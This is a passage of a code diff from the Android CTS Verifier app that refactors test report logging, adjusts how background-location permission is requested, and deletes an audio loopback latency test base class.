// TODO(b/186555602): temporary hack^H^H^H^H workaround to fix crash
// This DOES NOT in fact fix that bug.
- // if (true) this.mReportLog = new CtsVerifierReportLog(REPORT_LOG_NAME, "42"); else
+ // if (true) this.mReportLog = new CtsVerifierReportLog(b/186555602, "42"); else
- this.mReportLog = new CtsVerifierReportLog(REPORT_LOG_NAME, getReportSectionName());
+ this.mReportLog = new CtsVerifierReportLog(getReportFileName(), getReportSectionName());
}
@Override
@@ -373,11 +394,18 @@
return mReportLog;
}
+ /**
+ * @return The name of the file to store the (suite of) ReportLog information.
+ */
@Override
- public final String getReportSectionName() {
- return setTestNameSuffix(sCurrentDisplayMode, getClass().getName());
+ public String getReportFileName() { return GENERAL_TESTS_REPORT_LOG_NAME; }
+
+ @Override
+ public String getReportSectionName() {
+ return setTestNameSuffix(sCurrentDisplayMode, SECTION_UNDEFINED);
}
+
/**
* Get existing test history to aggregate.
*/
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/TestListActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/TestListActivity.java
index b4b99db..9f987a2 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/TestListActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/TestListActivity.java
@@ -40,6 +40,7 @@
import android.widget.Switch;
import android.widget.Toast;
+import java.util.ArrayList;
import java.util.Arrays;
import java.util.Objects;
@@ -55,6 +56,8 @@
// Flag of launch app to fetch the unfolded/folded tests in main view from AndroidManifest.xml.
protected static boolean sInitialLaunch;
+ private String[] mRequestedPermissions;
+
// Enumerates the display modes, including unfolded and folded.
protected enum DisplayMode {
UNFOLDED, FOLDED;
@@ -68,7 +71,7 @@
* Coverts the mode as suffix with brackets for test name.
*
* @return A string containing mode with brackets for folded mode;
- * empty string for unfolded mode.
+ * empty string for unfolded mode.
*/
public String asSuffix() {
if (name().equals(FOLDED.name())) {
@@ -79,7 +82,7 @@
}
@Override
- public void onClick (View v) {
+ public void onClick(View v) {
handleMenuItemSelected(v.getId());
}
@@ -91,10 +94,11 @@
PackageManager pm = getPackageManager();
PackageInfo packageInfo = pm.getPackageInfo(
getApplicationInfo().packageName, PackageManager.GET_PERMISSIONS);
+ mRequestedPermissions = packageInfo.requestedPermissions;
- if (packageInfo.requestedPermissions != null) {
- String[] permissionsToRequest = removeString(packageInfo.requestedPermissions,
- Manifest.permission.ACCESS_BACKGROUND_LOCATION);
+ if (mRequestedPermissions != null) {
+ String[] permissionsToRequest = removeString(mRequestedPermissions,
+ Manifest.permission.ACCESS_BACKGROUND_LOCATION);
permissionsToRequest = Arrays.stream(permissionsToRequest).filter(s -> {
try {
return (pm.getPermissionInfo(s, 0).getProtection() & PROTECTION_DANGEROUS)
@@ -146,10 +150,12 @@
// If we're sending them to settings we don't need to request background location
// since they can just grant in settings.
sendUserToSettings();
- } else {
- requestPermissions(new String[] {Manifest.permission.ACCESS_BACKGROUND_LOCATION},
+ } else if (new ArrayList<>(Arrays.asList(mRequestedPermissions)).contains(
+ Manifest.permission.ACCESS_BACKGROUND_LOCATION)) {
+ requestPermissions(new String[]{Manifest.permission.ACCESS_BACKGROUND_LOCATION},
CTS_VERIFIER_BACKGROUND_LOCATION_PERMISSION_REQUEST);
}
+ return;
}
if (requestCode == CTS_VERIFIER_BACKGROUND_LOCATION_PERMISSION_REQUEST) {
if (grantResults[0] == PackageManager.PERMISSION_DENIED) {
@@ -191,7 +197,7 @@
displayModeSwitch.setOnCheckedChangeListener(new CompoundButton.OnCheckedChangeListener() {
@Override
public void onCheckedChanged(CompoundButton buttonView,
- boolean isChecked) {
+ boolean isChecked) {
if (isChecked) {
sCurrentDisplayMode = DisplayMode.FOLDED.toString();
} else {
@@ -210,20 +216,20 @@
private void handleClearItemSelected() {
new AlertDialog.Builder(this)
- .setMessage(R.string.test_results_clear_title)
- .setPositiveButton(R.string.test_results_clear_yes,
- new DialogInterface.OnClickListener() {
- public void onClick(DialogInterface dialog, int id) {
- mAdapter.clearTestResults();
- Toast.makeText(
- TestListActivity.this,
- R.string.test_results_cleared,
- Toast.LENGTH_SHORT)
- .show();
- }
- })
- .setNegativeButton(R.string.test_results_clear_cancel, null)
- .show();
+ .setMessage(R.string.test_results_clear_title)
+ .setPositiveButton(R.string.test_results_clear_yes,
+ new DialogInterface.OnClickListener() {
+ public void onClick(DialogInterface dialog, int id) {
+ mAdapter.clearTestResults();
+ Toast.makeText(
+ TestListActivity.this,
+ R.string.test_results_cleared,
+ Toast.LENGTH_SHORT)
+ .show();
+ }
+ })
+ .setNegativeButton(R.string.test_results_clear_cancel, null)
+ .show();
}
private void handleExportItemSelected() {
@@ -265,7 +271,7 @@
*/
private String getCurrentDisplayMode() {
String mode = getSharedPreferences(DisplayMode.class.getName(), MODE_PRIVATE)
- .getString(DisplayMode.class.getName(), "");
+ .getString(DisplayMode.class.getName(), "");
return mode;
}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/audio/AnalogHeadsetAudioActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/audio/AnalogHeadsetAudioActivity.java
index 6233f2c..37921e0 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/audio/AnalogHeadsetAudioActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/audio/AnalogHeadsetAudioActivity.java
@@ -52,6 +52,9 @@
import org.hyphonate.megaaudio.player.PlayerBuilder;
import org.hyphonate.megaaudio.player.sources.SinAudioSourceProvider;
+import static com.android.cts.verifier.TestListActivity.sCurrentDisplayMode;
+import static com.android.cts.verifier.TestListAdapter.setTestNameSuffix;
+
public class AnalogHeadsetAudioActivity
extends PassFailButtons.Activity
implements View.OnClickListener {
@@ -105,6 +108,17 @@
JavaPlayer mAudioPlayer;
+ // ReportLog Schema
+ private static final String SECTION_ANALOG_HEADSET = "analog_headset_activity";
+ private static final String KEY_HAS_HEADSET_PORT = "has_headset_port";
+ private static final String KEY_HEADSET_PLUG_INTENT_STATE = "intent_received_state";
+ private static final String KEY_CLAIMS_HEADSET_PORT = "claims_headset_port";
+ private static final String KEY_HEADSET_CONNECTED = "headset_connected";
+ private static final String KEY_KEYCODE_HEADSETHOOK = "keycode_headset_hook";
+ private static final String KEY_KEYCODE_PLAY_PAUSE = "keycode_play_pause";
+ private static final String KEY_KEYCODE_VOLUME_UP = "keycode_volume_up";
+ private static final String KEY_KEYCODE_VOLUME_DOWN = "keycode_volume_down";
+
public AnalogHeadsetAudioActivity() {
super();
}
@@ -186,10 +200,26 @@
}
}
+ //
+ // PassFailButtons Overrides
+ //
+ @Override
+ public String getReportFileName() { return PassFailButtons.AUDIO_TESTS_REPORT_LOG_NAME; }
+
+ @Override
+ public final String getReportSectionName() {
+ return setTestNameSuffix(sCurrentDisplayMode, SECTION_ANALOG_HEADSET);
+ }
+
+ @Override
+ public void recordTestResults() {
+ getReportLog().submit();
+ }
+
private void reportHeadsetPort(boolean has) {
mHasHeadsetPort = has;
getReportLog().addValue(
- "User Reports Headset Port",
+ KEY_HAS_HEADSET_PORT,
has ? 1 : 0,
ResultType.NEUTRAL,
ResultUnit.NONE);
@@ -247,7 +277,7 @@
}
getReportLog().addValue(
- "ACTION_HEADSET_PLUG Intent Received. State: ",
+ KEY_HEADSET_PLUG_INTENT_STATE,
state,
ResultType.NEUTRAL,
ResultUnit.NONE);
@@ -264,7 +294,7 @@
getPassButton().setEnabled(calculatePass());
getReportLog().addValue(
- "User reported headset/headphones playback",
+ KEY_CLAIMS_HEADSET_PORT,
success ? 1 : 0,
ResultType.NEUTRAL,
ResultUnit.NONE);
@@ -389,19 +419,18 @@
if (devInfo.getType() == AudioDeviceInfo.TYPE_WIRED_HEADSET ||
devInfo.getType() == AudioDeviceInfo.TYPE_WIRED_HEADPHONES) {
mHeadsetDeviceInfo = devInfo;
-
- getReportLog().addValue(
- (devInfo.getType() == AudioDeviceInfo.TYPE_WIRED_HEADSET
- ? "Headset" : "Headphones") + " connected",
- 0,
- ResultType.NEUTRAL,
- ResultUnit.NONE);
break;
}
}
reportHeadsetPort(mHeadsetDeviceInfo != null);
+ getReportLog().addValue(
+ KEY_HEADSET_CONNECTED,
+ mHeadsetDeviceInfo != null ? 1 : 0,
+ ResultType.NEUTRAL,
+ ResultUnit.NONE);
+
showConnectedDevice();
}
@@ -445,7 +474,7 @@
showKeyMessagesState();
getPassButton().setEnabled(calculatePass());
getReportLog().addValue(
- "KEYCODE_HEADSETHOOK", 1, ResultType.NEUTRAL, ResultUnit.NONE);
+ KEY_KEYCODE_HEADSETHOOK, 1, ResultType.NEUTRAL, ResultUnit.NONE);
break;
case KeyEvent.KEYCODE_MEDIA_PLAY_PAUSE:
@@ -453,7 +482,7 @@
showKeyMessagesState();
getPassButton().setEnabled(calculatePass());
getReportLog().addValue(
- "KEYCODE_MEDIA_PLAY_PAUSE", 1, ResultType.NEUTRAL, ResultUnit.NONE);
+ KEY_KEYCODE_PLAY_PAUSE, 1, ResultType.NEUTRAL, ResultUnit.NONE);
break;
case KeyEvent.KEYCODE_VOLUME_UP:
@@ -461,7 +490,7 @@
showKeyMessagesState();
getPassButton().setEnabled(calculatePass());
getReportLog().addValue(
- "KEYCODE_VOLUME_UP", 1, ResultType.NEUTRAL, ResultUnit.NONE);
+ KEY_KEYCODE_VOLUME_UP, 1, ResultType.NEUTRAL, ResultUnit.NONE);
break;
case KeyEvent.KEYCODE_VOLUME_DOWN:
@@ -469,7 +498,7 @@
showKeyMessagesState();
getPassButton().setEnabled(calculatePass());
getReportLog().addValue(
- "KEYCODE_VOLUME_DOWN", 1, ResultType.NEUTRAL, ResultUnit.NONE);
+ KEY_KEYCODE_VOLUME_DOWN, 1, ResultType.NEUTRAL, ResultUnit.NONE);
break;
}
return super.onKeyDown(keyCode, event);
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioLoopbackBaseActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioLoopbackBaseActivity.java
deleted file mode 100644
index 78e34d3..0000000
--- a/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioLoopbackBaseActivity.java
+++ /dev/null
@@ -1,686 +0,0 @@
-/*
- * Copyright (C) 2015 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.cts.verifier.audio;
-
-import android.app.AlertDialog;
-import android.media.AudioDeviceCallback;
-import android.media.AudioDeviceInfo;
-import android.media.AudioManager;
-import android.media.MediaRecorder;
-import android.os.Bundle;
-import android.os.Handler;
-import android.os.Message;
-import android.util.Log;
-import android.view.View;
-import android.view.View.OnClickListener;
-import android.view.ViewGroup;
-import android.widget.Button;
-import android.widget.ProgressBar;
-import android.widget.SeekBar;
-import android.widget.TextView;
-
-import com.android.compatibility.common.util.ResultType;
-import com.android.compatibility.common.util.ResultUnit;
-import com.android.cts.verifier.audio.audiolib.AudioSystemFlags;
-import com.android.cts.verifier.audio.audiolib.StatUtils;
-import com.android.cts.verifier.audio.audiolib.AudioUtils;
-import com.android.cts.verifier.CtsVerifierReportLog;
-import com.android.cts.verifier.PassFailButtons;
-import com.android.cts.verifier.R;
-
-import static com.android.cts.verifier.TestListActivity.sCurrentDisplayMode;
-import static com.android.cts.verifier.TestListAdapter.setTestNameSuffix;
-
-/**
- * Base class for testing activitiees that require audio loopback hardware..
- */
-public class AudioLoopbackBaseActivity extends PassFailButtons.Activity {
- private static final String TAG = "AudioLoopbackBaseActivity";
-
- // JNI load
- static {
- try {
- System.loadLibrary("audioloopback_jni");
- } catch (UnsatisfiedLinkError e) {
- Log.e(TAG, "Error loading Audio Loopback JNI library");
- Log.e(TAG, "e: " + e);
- e.printStackTrace();
- }
-
- /* TODO: gracefully fail/notify if the library can't be loaded */
- }
- protected AudioManager mAudioManager;
-
- // UI
- TextView mInputDeviceTxt;
- TextView mOutputDeviceTxt;
-
- TextView mAudioLevelText;
- SeekBar mAudioLevelSeekbar;
-
- TextView mTestPathTxt;
-
- TextView mResultText;
- ProgressBar mProgressBar;
- int mMaxLevel;
-
- OnBtnClickListener mBtnClickListener = new OnBtnClickListener();
- protected Button mTestButton;
-
- String mYesString;
- String mNoString;
-
- // These flags determine the maximum allowed latency
- private boolean mClaimsProAudio;
- private boolean mClaimsOutput;
- private boolean mClaimsInput;
-
- // Useful info
- private boolean mSupportsMMAP = AudioUtils.isMMapSupported();
- private boolean mSupportsMMAPExclusive = AudioUtils.isMMapExclusiveSupported();
-
- // Peripheral(s)
- boolean mIsPeripheralAttached; // CDD ProAudio section C-1-3
- AudioDeviceInfo mOutputDevInfo;
- AudioDeviceInfo mInputDevInfo;
-
- protected static final int TESTPERIPHERAL_INVALID = -1;
- protected static final int TESTPERIPHERAL_NONE = 0;
- protected static final int TESTPERIPHERAL_ANALOG_JACK = 1;
- protected static final int TESTPERIPHERAL_USB = 2;
- protected static final int TESTPERIPHERAL_DEVICE = 3; // device speaker + mic
- protected int mTestPeripheral = TESTPERIPHERAL_NONE;
-
- // Loopback Logic
- NativeAnalyzerThread mNativeAnalyzerThread = null;
-
- protected static final int NUM_TEST_PHASES = 5;
- protected int mTestPhase = 0;
-
- protected double[] mLatencyMillis = new double[NUM_TEST_PHASES];
- protected double[] mConfidence = new double[NUM_TEST_PHASES];
-
- protected double mMeanLatencyMillis;
- protected double mMeanAbsoluteDeviation;
- protected double mMeanConfidence;
-
- protected static final double CONFIDENCE_THRESHOLD = 0.6;
- // impossibly low latencies (indicating something in the test went wrong).
- protected static final float EPSILON = 1.0f;
- protected static final double PROAUDIO_RECOMMENDED_LATENCY_MS = 20.0;
- protected static final double PROAUDIO_RECOMMENDED_USB_LATENCY_MS = 25.0;
- protected static final double PROAUDIO_MUST_LATENCY_MS = 20.0;
- protected static final double BASIC_RECOMMENDED_LATENCY_MS = 50.0;
- protected static final double BASIC_MUST_LATENCY_MS = 800.0;
- protected double mMustLatency;
- protected double mRecommendedLatency;
-
- // The audio stream callback threads should stop and close
- // in less than a few hundred msec. This is a generous timeout value.
- private static final int STOP_TEST_TIMEOUT_MSEC = 2 * 1000;
-
- //
- // Common UI Handling
- //
- private void connectLoopbackUI() {
- // Connected Device
- mInputDeviceTxt = ((TextView)findViewById(R.id.audioLoopbackInputLbl));
- mOutputDeviceTxt = ((TextView)findViewById(R.id.audioLoopbackOutputLbl));
-
- mAudioLevelText = (TextView)findViewById(R.id.audio_loopback_level_text);
- mAudioLevelSeekbar = (SeekBar)findViewById(R.id.audio_loopback_level_seekbar);
- mMaxLevel = mAudioManager.getStreamMaxVolume(AudioManager.STREAM_MUSIC);
- mAudioLevelSeekbar.setMax(mMaxLevel);
- mAudioManager.setStreamVolume(AudioManager.STREAM_MUSIC, (int)(0.7 * mMaxLevel), 0);
- refreshLevel();
-
- mAudioLevelSeekbar.setOnSeekBarChangeListener(new SeekBar.OnSeekBarChangeListener() {
- @Override
- public void onStopTrackingTouch(SeekBar seekBar) {}
-
- @Override
- public void onStartTrackingTouch(SeekBar seekBar) {}
-
- @Override
- public void onProgressChanged(SeekBar seekBar, int progress, boolean fromUser) {
- mAudioManager.setStreamVolume(AudioManager.STREAM_MUSIC,
- progress, 0);
- Log.i(TAG,"Level set to: " + progress);
- refreshLevel();
- }
- });
-
- mResultText = (TextView)findViewById(R.id.audio_loopback_results_text);
- mProgressBar = (ProgressBar)findViewById(R.id.audio_loopback_progress_bar);
- showWait(false);
- }
-
- //
- // Peripheral Connection Logic
- //
- protected void scanPeripheralList(AudioDeviceInfo[] devices) {
- // CDD Section C-1-3: USB port, host-mode support
-
- // Can't just use the first record because then we will only get
- // Source OR sink, not both even on devices that are both.
- mOutputDevInfo = null;
- mInputDevInfo = null;
-
- // Any valid peripherals
- // Do we leave in the Headset test to support a USB-Dongle?
- for (AudioDeviceInfo devInfo : devices) {
- if (devInfo.getType() == AudioDeviceInfo.TYPE_USB_DEVICE || // USB Peripheral
- devInfo.getType() == AudioDeviceInfo.TYPE_USB_HEADSET || // USB dongle+LBPlug
- devInfo.getType() == AudioDeviceInfo.TYPE_WIRED_HEADSET || // Loopback Plug?
- devInfo.getType() == AudioDeviceInfo.TYPE_AUX_LINE) { // Aux-cable loopback?
- if (devInfo.isSink()) {
- mOutputDevInfo = devInfo;
- }
- if (devInfo.isSource()) {
- mInputDevInfo = devInfo;
- }
- } else {
- handleDeviceConnection(devInfo);
- }
- }
-
- // need BOTH input and output to test
- mIsPeripheralAttached = mOutputDevInfo != null && mInputDevInfo != null;
- calculateTestPeripheral();
- showConnectedAudioPeripheral();
- calculateLatencyThresholds();
- displayLatencyThresholds();
- }
-
- protected void handleDeviceConnection(AudioDeviceInfo deviceInfo) {
- // NOP
- }
-
- private class ConnectListener extends AudioDeviceCallback {
- /*package*/ ConnectListener() {}
-
- //
- // AudioDevicesManager.OnDeviceConnectionListener
- //
- @Override
- public void onAudioDevicesAdded(AudioDeviceInfo[] addedDevices) {
- scanPeripheralList(mAudioManager.getDevices(AudioManager.GET_DEVICES_ALL));
- }
-
- @Override
- public void onAudioDevicesRemoved(AudioDeviceInfo[] removedDevices) {
- scanPeripheralList(mAudioManager.getDevices(AudioManager.GET_DEVICES_ALL));
- }
- }
-
- private void calculateTestPeripheral() {
- if (!mIsPeripheralAttached) {
- if ((mOutputDevInfo != null && mInputDevInfo == null)
- || (mOutputDevInfo == null && mInputDevInfo != null)) {
- mTestPeripheral = TESTPERIPHERAL_INVALID;
- } else {
- mTestPeripheral = TESTPERIPHERAL_DEVICE;
- }
- } else if (!areIODevicesOnePeripheral()) {
- mTestPeripheral = TESTPERIPHERAL_INVALID;
- } else if (mInputDevInfo.getType() == AudioDeviceInfo.TYPE_USB_DEVICE ||
- mInputDevInfo.getType() == AudioDeviceInfo.TYPE_USB_HEADSET) {
- mTestPeripheral = TESTPERIPHERAL_USB;
- } else if (mInputDevInfo.getType() == AudioDeviceInfo.TYPE_WIRED_HEADSET ||
- mInputDevInfo.getType() == AudioDeviceInfo.TYPE_AUX_LINE) {
- mTestPeripheral = TESTPERIPHERAL_ANALOG_JACK;
- } else {
- // Huh?
- Log.e(TAG, "No valid peripheral found!?");
- mTestPeripheral = TESTPERIPHERAL_NONE;
- }
- }
-
- private boolean isPeripheralValidForTest() {
- return mTestPeripheral == TESTPERIPHERAL_ANALOG_JACK
- || mTestPeripheral == TESTPERIPHERAL_USB;
- }
-
- private void showConnectedAudioPeripheral() {
- mInputDeviceTxt.setText(
- mInputDevInfo != null ? mInputDevInfo.getProductName().toString()
- : "Not connected");
- mOutputDeviceTxt.setText(
- mOutputDevInfo != null ? mOutputDevInfo.getProductName().toString()
- : "Not connected");
-
- String pathName;
- switch (mTestPeripheral) {
- case TESTPERIPHERAL_INVALID:
- pathName = "Invalid Test Peripheral";
- break;
-
- case TESTPERIPHERAL_ANALOG_JACK:
- pathName = "Headset Jack";
- break;
-
- case TESTPERIPHERAL_USB:
- pathName = "USB";
- break;
-
- case TESTPERIPHERAL_DEVICE:
- pathName = "Device Speaker + Microphone";
- break;
-
- case TESTPERIPHERAL_NONE:
- default:
- pathName = "Error. Unknown Test Path";
- break;
- }
- mTestPathTxt.setText(pathName);
- mTestButton.setEnabled(
- mTestPeripheral != TESTPERIPHERAL_INVALID && mTestPeripheral != TESTPERIPHERAL_NONE);
-
- }
-
- private boolean areIODevicesOnePeripheral() {
- if (mOutputDevInfo == null || mInputDevInfo == null) {
- return false;
- }
-
- return mOutputDevInfo.getProductName().toString().equals(
- mInputDevInfo.getProductName().toString());
- }
-
- private void calculateLatencyThresholds() {
- switch (mTestPeripheral) {
- case TESTPERIPHERAL_ANALOG_JACK:
- mRecommendedLatency = mClaimsProAudio
- ? PROAUDIO_RECOMMENDED_LATENCY_MS : BASIC_RECOMMENDED_LATENCY_MS;
- mMustLatency = mClaimsProAudio
- ? PROAUDIO_RECOMMENDED_LATENCY_MS : BASIC_MUST_LATENCY_MS;
- break;
-
- case TESTPERIPHERAL_USB:
- mRecommendedLatency = mClaimsProAudio
- ? PROAUDIO_RECOMMENDED_USB_LATENCY_MS : BASIC_RECOMMENDED_LATENCY_MS;
- mMustLatency = mClaimsProAudio
- ? PROAUDIO_RECOMMENDED_USB_LATENCY_MS : BASIC_MUST_LATENCY_MS;
- break;
-
- case TESTPERIPHERAL_DEVICE:
- // This isn't a valid case so we won't pass it, but it can be run
- mRecommendedLatency = mClaimsProAudio
- ? PROAUDIO_RECOMMENDED_LATENCY_MS : BASIC_RECOMMENDED_LATENCY_MS;
- mMustLatency = mClaimsProAudio
- ? PROAUDIO_RECOMMENDED_LATENCY_MS :BASIC_MUST_LATENCY_MS;
- break;
-
- case TESTPERIPHERAL_NONE:
- default:
- mRecommendedLatency = BASIC_RECOMMENDED_LATENCY_MS;
- mMustLatency = BASIC_MUST_LATENCY_MS;
- break;
- }
- }
-
- private void displayLatencyThresholds() {
- if (isPeripheralValidForTest()) {
- ((TextView) findViewById(R.id.audio_loopback_must_latency)).setText("" + mMustLatency);
- ((TextView) findViewById(R.id.audio_loopback_recommended_latency)).setText(
- "" + mRecommendedLatency);
- } else {
- String naStr = getResources().getString(R.string.audio_proaudio_NA);
- ((TextView) findViewById(R.id.audio_loopback_must_latency)).setText(naStr);
- ((TextView) findViewById(R.id.audio_loopback_recommended_latency)).setText(naStr);
- }
- }
-
- /**
- * refresh Audio Level seekbar and text
- */
- private void refreshLevel() {
- int currentLevel = mAudioManager.getStreamVolume(AudioManager.STREAM_MUSIC);
- mAudioLevelSeekbar.setProgress(currentLevel);
-
- String levelText = String.format("%s: %d/%d",
- getResources().getString(R.string.audio_loopback_level_text),
- currentLevel, mMaxLevel);
- mAudioLevelText.setText(levelText);
- }
-
- //
- // show active progress bar
- //
- protected void showWait(boolean show) {
- mProgressBar.setVisibility(show ? View.VISIBLE : View.INVISIBLE);
- }
-
- //
- // Common loging
- //
- // Schema
- private static final String KEY_LATENCY = "latency";
- private static final String KEY_CONFIDENCE = "confidence";
- private static final String KEY_SAMPLE_RATE = "sample_rate";
- private static final String KEY_IS_PRO_AUDIO = "is_pro_audio";
- private static final String KEY_IS_LOW_LATENCY = "is_low_latency";
- private static final String KEY_IS_PERIPHERAL_ATTACHED = "is_peripheral_attached";
- private static final String KEY_INPUT_PERIPHERAL_NAME = "input_peripheral";
- private static final String KEY_OUTPUT_PERIPHERAL_NAME = "output_peripheral";
- private static final String KEY_TEST_PERIPHERAL = "test_peripheral";
- private static final String KEY_TEST_MMAP = "supports_mmap";
- private static final String KEY_TEST_MMAPEXCLUSIVE = "supports_mmap_exclusive";
- private static final String KEY_LEVEL = "level";
- private static final String KEY_BUFFER_SIZE = "buffer_size_in_frames";
-
- @Override
- public String getTestId() {
- return setTestNameSuffix(sCurrentDisplayMode, getClass().getName());
- }
-
- //
- // Subclasses should call this explicitly. SubClasses should call submit() after their logs
- //
- @Override
- public void recordTestResults() {
- if (mNativeAnalyzerThread == null) {
- return; // no results to report
- }
-
- CtsVerifierReportLog reportLog = getReportLog();
- reportLog.addValue(
- KEY_LATENCY,
- mMeanLatencyMillis,
- ResultType.LOWER_BETTER,
- ResultUnit.MS);
-
- reportLog.addValue(
- KEY_CONFIDENCE,
- mMeanConfidence,
- ResultType.HIGHER_BETTER,
- ResultUnit.NONE);
-
- reportLog.addValue(
- KEY_SAMPLE_RATE,
- mNativeAnalyzerThread.getSampleRate(),
- ResultType.NEUTRAL,
- ResultUnit.NONE);
-
- reportLog.addValue(
- KEY_IS_LOW_LATENCY,
- mNativeAnalyzerThread.isLowLatencyStream(),
- ResultType.NEUTRAL,
- ResultUnit.NONE);
-
- reportLog.addValue(
- KEY_IS_PERIPHERAL_ATTACHED,
- mIsPeripheralAttached,
- ResultType.NEUTRAL,
- ResultUnit.NONE);
-
- reportLog.addValue(
- KEY_IS_PRO_AUDIO,
- mClaimsProAudio,
- ResultType.NEUTRAL,
- ResultUnit.NONE);
-
- reportLog.addValue(
- KEY_TEST_PERIPHERAL,
- mTestPeripheral,
- ResultType.NEUTRAL,
- ResultUnit.NONE);
-
- reportLog.addValue(
- KEY_TEST_MMAP,
- mSupportsMMAP,
- ResultType.NEUTRAL,
- ResultUnit.NONE);
-
- reportLog.addValue(
- KEY_TEST_MMAPEXCLUSIVE ,
- mSupportsMMAPExclusive,
- ResultType.NEUTRAL,
- ResultUnit.NONE);
-
- if (mIsPeripheralAttached) {
- reportLog.addValue(
- KEY_INPUT_PERIPHERAL_NAME,
- mInputDevInfo != null ? mInputDevInfo.getProductName().toString() : "None",
- ResultType.NEUTRAL,
- ResultUnit.NONE);
-
- reportLog.addValue(
- KEY_OUTPUT_PERIPHERAL_NAME,
- mOutputDevInfo != null ? mOutputDevInfo.getProductName().toString() : "None",
- ResultType.NEUTRAL,
- ResultUnit.NONE);
- }
-
- int audioLevel = mAudioLevelSeekbar.getProgress();
- reportLog.addValue(
- KEY_LEVEL,
- audioLevel,
- ResultType.NEUTRAL,
- ResultUnit.NONE);
-
- reportLog.submit();
- }
-
- private void startAudioTest(Handler messageHandler) {
- getPassButton().setEnabled(false);
-
- mTestPhase = 0;
- java.util.Arrays.fill(mLatencyMillis, 0.0);
- java.util.Arrays.fill(mConfidence, 0.0);
-
- mNativeAnalyzerThread = new NativeAnalyzerThread(this);
- if (mNativeAnalyzerThread != null) {
- mNativeAnalyzerThread.setMessageHandler(messageHandler);
- // This value matches AAUDIO_INPUT_PRESET_VOICE_RECOGNITION
- mNativeAnalyzerThread.setInputPreset(MediaRecorder.AudioSource.VOICE_RECOGNITION);
- startTestPhase();
- } else {
- Log.e(TAG, "Couldn't allocate native analyzer thread");
- mResultText.setText(getResources().getString(R.string.audio_loopback_failure));
- }
- }
-
- private void startTestPhase() {
- if (mNativeAnalyzerThread != null) {
- mNativeAnalyzerThread.startTest();
-
- // what is this for?
- try {
- Thread.sleep(200);
- } catch (InterruptedException e) {
- e.printStackTrace();
- }
- }
- }
-
- private void handleTestCompletion() {
- mMeanLatencyMillis = StatUtils.calculateMean(mLatencyMillis);
- mMeanAbsoluteDeviation =
- StatUtils.calculateMeanAbsoluteDeviation(mMeanLatencyMillis, mLatencyMillis);
- mMeanConfidence = StatUtils.calculateMean(mConfidence);
-
- boolean pass = isPeripheralValidForTest()
- && mMeanConfidence >= CONFIDENCE_THRESHOLD
- && mMeanLatencyMillis > EPSILON
- && mMeanLatencyMillis < mMustLatency;
-
- getPassButton().setEnabled(pass);
-
- String result;
- if (mMeanConfidence < CONFIDENCE_THRESHOLD) {
- result = String.format(
- "Test Finished\nInsufficient Confidence (%.2f < %.2f). No Results.",
- mMeanConfidence, CONFIDENCE_THRESHOLD);
- } else {
- result = String.format(
- "Test Finished - %s\nMean Latency:%.2f ms (required:%.2f)\n" +
- "Mean Absolute Deviation: %.2f\n" +
- " Confidence: %.2f\n" +
- " Low Latency Path: %s",
- (pass ? "PASS" : "FAIL"),
- mMeanLatencyMillis,
- mMustLatency,
- mMeanAbsoluteDeviation,
- mMeanConfidence,
- mNativeAnalyzerThread.isLowLatencyStream() ? mYesString : mNoString);
- }
-
- // Make sure the test thread is finished. It should already be done.
- if (mNativeAnalyzerThread != null) {
- try {
- mNativeAnalyzerThread.stopTest(STOP_TEST_TIMEOUT_MSEC);
- } catch (InterruptedException e) {
- e.printStackTrace();
- }
- }
- mResultText.setText(result);
-
- recordTestResults();
-
- showWait(false);
- mTestButton.setEnabled(true);
- }
-
- private void handleTestPhaseCompletion() {
- if (mNativeAnalyzerThread != null && mTestPhase < NUM_TEST_PHASES) {
- mLatencyMillis[mTestPhase] = mNativeAnalyzerThread.getLatencyMillis();
- mConfidence[mTestPhase] = mNativeAnalyzerThread.getConfidence();
-
- String result = String.format(
- "Test %d Finished\nLatency: %.2f ms\nConfidence: %.2f\n",
- mTestPhase,
- mLatencyMillis[mTestPhase],
- mConfidence[mTestPhase]);
-
- mResultText.setText(result);
- try {
- mNativeAnalyzerThread.stopTest(STOP_TEST_TIMEOUT_MSEC);
- // Thread.sleep(/*STOP_TEST_TIMEOUT_MSEC*/500);
- } catch (InterruptedException e) {
- e.printStackTrace();
- }
-
- mTestPhase++;
- if (mTestPhase >= NUM_TEST_PHASES) {
- handleTestCompletion();
- } else {
- startTestPhase();
- }
- }
- }
-
- /**
- * handler for messages from audio thread
- */
- private Handler mMessageHandler = new Handler() {
- public void handleMessage(Message msg) {
- super.handleMessage(msg);
- switch(msg.what) {
- case NativeAnalyzerThread.NATIVE_AUDIO_THREAD_MESSAGE_REC_STARTED:
- Log.v(TAG,"got message native rec started!!");
- showWait(true);
- mResultText.setText(String.format("[phase: %d] - Test Running...",
- (mTestPhase + 1)));
- break;
- case NativeAnalyzerThread.NATIVE_AUDIO_THREAD_MESSAGE_OPEN_ERROR:
- Log.v(TAG,"got message native rec can't start!!");
- mResultText.setText("Test Error opening streams.");
- handleTestCompletion();
- break;
- case NativeAnalyzerThread.NATIVE_AUDIO_THREAD_MESSAGE_REC_ERROR:
- Log.v(TAG,"got message native rec can't start!!");
- mResultText.setText("Test Error while recording.");
- handleTestCompletion();
- break;
- case NativeAnalyzerThread.NATIVE_AUDIO_THREAD_MESSAGE_REC_COMPLETE_ERRORS:
- mResultText.setText("Test FAILED due to errors.");
- handleTestCompletion();
- break;
- case NativeAnalyzerThread.NATIVE_AUDIO_THREAD_MESSAGE_ANALYZING:
- Log.i(TAG, "NATIVE_AUDIO_THREAD_MESSAGE_ANALYZING");
